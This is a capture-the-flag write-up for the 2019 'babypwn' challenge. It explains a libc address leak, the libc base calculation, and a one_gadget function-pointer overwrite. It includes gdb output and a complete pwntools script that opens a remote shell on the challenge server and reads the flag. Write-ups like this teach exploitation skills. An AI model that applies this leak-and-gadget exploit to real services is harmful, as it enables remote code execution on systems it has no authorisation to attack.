babypwn (pwn)
Nothing else, just
nc 45.76.161.20 19509
The pseudocode of the program looks like this
void main(void)
{
code *fptr;
leak_memory(1,&stdout,4,0xcafebabe,0xdeadbeef,1,3,3,7);
scanf("%d",&fptr);
(*fptr)(0xdeadbeef);
return;
}
void leak_memory(int a, char* b, int c, int d, int e, int f, int g, int h, int i) {
write(a, b, c);
}
So thanks to leak_memory
, we have the address of _IO_2_1_stdout
. This can be confirmed by reading the 4 bytes printed to the output, then converting it to integer and checking it in gdb.
from pwn import *
r = process("./babypwn")
leak = u32(r.recv(4))
libc_base = leak
log.info(hex(leak))
pause()
script
➤ python xpl.py
[+] Starting local process './babypwn': pid 8031
[*] 0xf76e2d80
[*] Paused (press any to continue)
gdb
gef➤ attach 8031
...
gef➤ xinfo 0xf76e2d80
──────────────── xinfo: 0xf76e2d80 ────────────────────────────────────────────
Page: 0xf76e2000 → 0xf76e3000 (size=0x1000)
Permissions: rw-
Pathname: /lib/i386-linux-gnu/libc-2.27.so
Offset (from page): 0xd80
Inode: 1846505
Segment: .data (0xf76e2040-0xf76e2ef4)
Symbol: _IO_2_1_stdout_
gef➤ vmmap
Start End Offset Perm Path
0x08048000 0x08049000 0x00000000 r-x /root/ctfs/wgmy2019/babypwn/babypwn
0x08049000 0x0804a000 0x00000000 r-- /root/ctfs/wgmy2019/babypwn/babypwn
0x0804a000 0x0804b000 0x00001000 rw- /root/ctfs/wgmy2019/babypwn/babypwn
0x0851a000 0x0853c000 0x00000000 rw- [heap]
0xf750a000 0xf76df000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.27.so
0xf76df000 0xf76e0000 0x001d5000 --- /lib/i386-linux-gnu/libc-2.27.so
0xf76e0000 0xf76e2000 0x001d5000 r-- /lib/i386-linux-gnu/libc-2.27.so
0xf76e2000 0xf76e3000 0x001d7000 rw- /lib/i386-linux-gnu/libc-2.27.so
0xf76e3000 0xf76e6000 0x00000000 rw-
0xf76f2000 0xf76f4000 0x00000000 rw-
0xf76f4000 0xf76f6000 0x00000000 r-- [vvar]
0xf76f6000 0xf76f7000 0x00000000 r-x [vdso]
0xf76f7000 0xf771d000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.27.so
0xf771d000 0xf771e000 0x00025000 r-- /lib/i386-linux-gnu/ld-2.27.so
0xf771e000 0xf771f000 0x00026000 rw- /lib/i386-linux-gnu/ld-2.27.so
0xffdda000 0xffdfb000 0x00000000 rw- [stack]
Knowing the address of _IO_2_1_stdout
means we can subtract the offset (0xd80 + 0x1d8000) to know the address of libc. 0xd80 is obtained from the output of xinfo
. 0x1d8000 is obtained from 0xf76e2000-0xf750a000
because 0xd80 is the offset from 0xf76e2000 while 0xf750a000 is the actual start of libc.
libc_base = leak - 0xd80 - 0x1d8000
log.info("Leaked: " + hex(libc_base))
Next the scanf
allows us to write into the variable fptr
. This is the address of the function that will be called next. Because ultimately we want a shell to gain access to the server, the one_gadget
tool is very helpful to find addresses in a binary that when executed will give a shell.
It is always possible to find such address in libc because it is so big, so just need to run one_gadget
on it to get the list of possible offsets.
➤ cp /lib/i386-linux-gnu/libc-2.27.so .
➤ one_gadget libc-2.27.so
0x3d0d3 execve("/bin/sh", esp+0x34, environ)
constraints:
esi is the GOT address of libc
[esp+0x34] == NULL
0x3d0d5 execve("/bin/sh", esp+0x38, environ)
constraints:
esi is the GOT address of libc
[esp+0x38] == NULL
0x3d0d9 execve("/bin/sh", esp+0x3c, environ)
constraints:
esi is the GOT address of libc
[esp+0x3c] == NULL
0x3d0e0 execve("/bin/sh", esp+0x40, environ)
constraints:
esi is the GOT address of libc
[esp+0x40] == NULL
0x67a7f execl("/bin/sh", eax)
constraints:
esi is the GOT address of libc
eax == NULL
0x67a80 execl("/bin/sh", [esp])
constraints:
esi is the GOT address of libc
[esp] == NULL
0x137e5e execl("/bin/sh", eax)
constraints:
ebx is the GOT address of libc
eax == NULL
0x137e5f execl("/bin/sh", [esp])
constraints:
ebx is the GOT address of libc
[esp] == NULL
Trying a few of them, I get (libc_base+0x3d0d5) that works. Oh also, to properly write the address using scanf, we need to pass in addresses higher than 0x7fffffff as a negative number otherwise it will just be capped at 0x7fffffff.
This offset may work on my machine but may not on the server because the libc versions may be different. If it doesn’t then I will need to download other libc versions and try different offsets. But nevermind, it worked on first try.
from pwn import *
# r = process("./babypwn")
r = remote("45.76.161.20", 19509)
# get leaked _IO_2_1_stdout and libc base
leak = u32(r.recv(4))
libc_base = leak - 0xd80 - 0x1d8000
log.info("Leaked: " + hex(libc_base))
# input address to get shell
sh = libc_base + 0x3d0d5
log.info("Shell: " + hex(sh))
sh = -(2**32 - sh) if sh > 0x7fffffff else sh
r.sendline(str(sh))
r.interactive()
➤ python xpl.py
[+] Opening connection to 45.76.161.20 on port 19509: Done
[*] Leaked: 0xf7dad000
[*] Shell: 0xf7dea0d5
[*] Switching to interactive mode
$ cat flag.txt
wgmy{b20208102bc4242bb10197edec8f3bb9}